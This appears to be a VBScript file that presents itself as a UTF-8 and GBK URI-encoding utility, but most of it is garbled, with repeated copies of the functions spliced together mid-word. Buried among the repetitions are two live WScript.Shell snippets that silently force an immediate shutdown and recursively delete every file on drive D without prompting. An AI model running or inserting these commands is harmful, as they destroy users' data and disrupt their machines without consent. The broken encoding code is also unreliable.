dim WFunction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &HzInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = zInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536nAsc + 6553680)            szRet = szRet & uch        End If    End IfNextUTF8Encodetion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 ThHex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8Encodetion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8Encodetion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 en nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hexch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _ = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0)= "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8Encodetion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hexch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8Encodetion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'Ϊ & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8Encodetion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hexch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8Encodetion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'Ϊ           Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8Encodetion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Thch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536 ch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8Encodetion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Thch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8Encodetion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Thch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8Encodetion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Th   If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8Encodetion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Th(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8Encodetion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8Encodetion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8Encodetion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd SHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true


dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8Encodetion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8Encodetion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function tion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function tion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function tion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function tion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function tion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function tion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function URI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 